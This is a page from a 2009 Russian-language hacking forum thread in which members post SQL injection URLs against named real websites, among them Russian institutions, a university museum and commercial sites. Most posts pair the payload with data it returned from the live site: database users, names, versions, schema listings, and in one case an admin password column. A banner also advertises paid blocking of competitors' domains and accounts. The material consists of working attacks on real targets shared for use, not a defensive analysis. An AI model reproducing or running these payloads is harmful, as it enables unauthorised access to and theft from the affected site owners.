SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 1081 из 1602

1081

Опции темы

Поиск в этой теме

Опции просмотра

20.10.2009, 19:37

sos17

Новичок

Регистрация: 17.10.2009

Сообщений: 3

С нами: 8720100

Репутация: 5

http://www.exposicaodeartesanato.com.br/detalhe_produto.php?id_produto=-1+union+all+select+1,2,3,4,5,6,7,8,concat_ws(char( 58,58),user(),database(),version()),10,11,12,13,14 ,15,16,17,18,19--

expos_sirius@localhost::expos_exposicao::4.1.22-standard

𝕏 Twitter Reddit Telegram Копировать ссылку

20.10.2009, 20:13

ILYAtirtir

Участник форума

Регистрация: 25.04.2007

Сообщений: 176

С нами: 10024314

Репутация: 739

Российский союз промышленников и предпринимателей.
тИЦ: 1400
PR: 6

Цитата:

http://www.rspp.ru/Default.aspx?CatalogId=283&Year=2009+union+all+sel ect+null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,@@version,28+fro m+information_schema.tables--&Month=10&Day=15

Код:

Microsoft SQL Server  2000 - 8.00.2055 (Intel X86) 
Dec 16 2008 19:46:53 
Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

Федеральное государственное учреждение «Научно исследовательский институт — Республиканский исследовательский научно-консультационный центр экспертизы»
тИЦ: 1700
PR: 5

Цитата:

http://www.extech.ru/library/spravo/vak/tolko_vak/f1.php?kod1=-1+union+select+concat_ws(0x3a,database(),user(),ve rsion()),2,3,4,5

Код:

VAK:php@localhost:5.0.32-Debian_7etch11-log

20.10.2009, 20:31

min7

Участник форума

Регистрация: 03.09.2005

Сообщений: 123

С нами: 10886422

Репутация: 259

Код:

http://www.redorange.de/public/php/showreel_detail.php?id=116+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

Database Version: 5.0.32-Debian_7etch5-log
Database name: usr_web190_1
User name: web190@localhost

20.10.2009, 20:58

[underwater]

Познающий

Регистрация: 29.03.2009

Сообщений: 87

С нами: 9010027

Репутация: 308

Код:

http://www.podlupom.com/index.php?id=-1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

Версия:

Код:

http://www.podlupom.com/index.php?id=-1 UNION ALL SELECT 1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19--

Таблицы:

Код:

http://www.podlupom.com/index.php?id=-1 UNION ALL SELECT 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM information_schema.tables--

Колонки:

Код:

http://www.podlupom.com/index.php?id=-1 UNION ALL SELECT 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM information_schema.columns--

Код:

http://www.podlupom.com/index.php?id=-1UNION ALL SELECT 1,2,3,4,schema_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM information_schema.schemata--

20.10.2009, 23:08

edge911

Участник форума

Регистрация: 21.02.2009

Сообщений: 228

С нами: 9062055

Репутация: 368

Microsoft JET Database Engine:

Цитата:

http://www.packet.com.cn/product_view.asp?id=283+union+select+1,2,3,admin,p assword,6,7,8,9,10,11,12,13,14,15+from+admin

20.10.2009, 23:37

ILYAtirtir

Участник форума

Регистрация: 25.04.2007

Сообщений: 176

С нами: 10024314

Репутация: 739

Система комплексного раскрытия информации
тИЦ: 2700
PR: 6

Цитата:

http://www.skrin.ru/news/default.asp?id=9DC3ABAF4E4C49DF99A6913572D9A323'+O R+1=(select+@@version)--

Код:

Microsoft SQL Server 2005 - 9.00.3077.00 (X64) Dec 17 2008 20:40:08 Copyright (c) 1988-2005 
Microsoft Corporation Standard Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)

21.10.2009, 01:57

E-AL

Познающий

Регистрация: 03.10.2007

Сообщений: 37

С нами: 9792242

Репутация: 68

Код:

http://glinka-capella.ru/news/?id=-1+union+select+1,2,3,concat_ws(0x3a,concat_ws(0x3a,user(),version()),database()),5,6+--+

ТИЦ: 230
PR: 4

User: h_glinka_capella@localhost
Version: 5.0.70-debug-log
Name: glinka_capella_ru

21.10.2009, 06:58

VITАL

Познающий

Регистрация: 19.08.2008

Сообщений: 33

С нами: 9330638

Репутация: 93

mhs.ox.ac.uk pr7, v5

Цитата:

http://www.mhs.ox.ac.uk/gatt/catalog.php?num=33+and+2=1+union+select+version(), 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23

21.10.2009, 07:19

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

Цитата:

http://www.planetperplex.com/en/img.php?id=-35+UNION+SELECT+1,2,3,4,5,AES_DECRYPT(AES_ENCRYPT( CONCAT_WS(0x3a,Version(),Database(),User()),0x71), 0x71),7--

User: p5547pla_admin@localhost
Database: p5547pla_planetperplex
Version:81-community

#10

21.10.2009, 22:18

diman94x

Новичок

Регистрация: 11.06.2009

Сообщений: 14

С нами: 8903844

Репутация: 6

Server = Apache/2.0.54 (Fedora)
Version = 5.0.79
Powered by = PHP/5.2.8
Attack Type = SQL Union Injection
Current User = lactuel@localhost
Current Database = lactuel
Supports Union = yes
Union Columns = 19
Url| http://www.lactuel.be/index.php?catId=-106
Vuln: http://www.lactuel.be/index.php?catId=-106+and+1=0+ Union Select UNHEX(HEX([visible])) ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19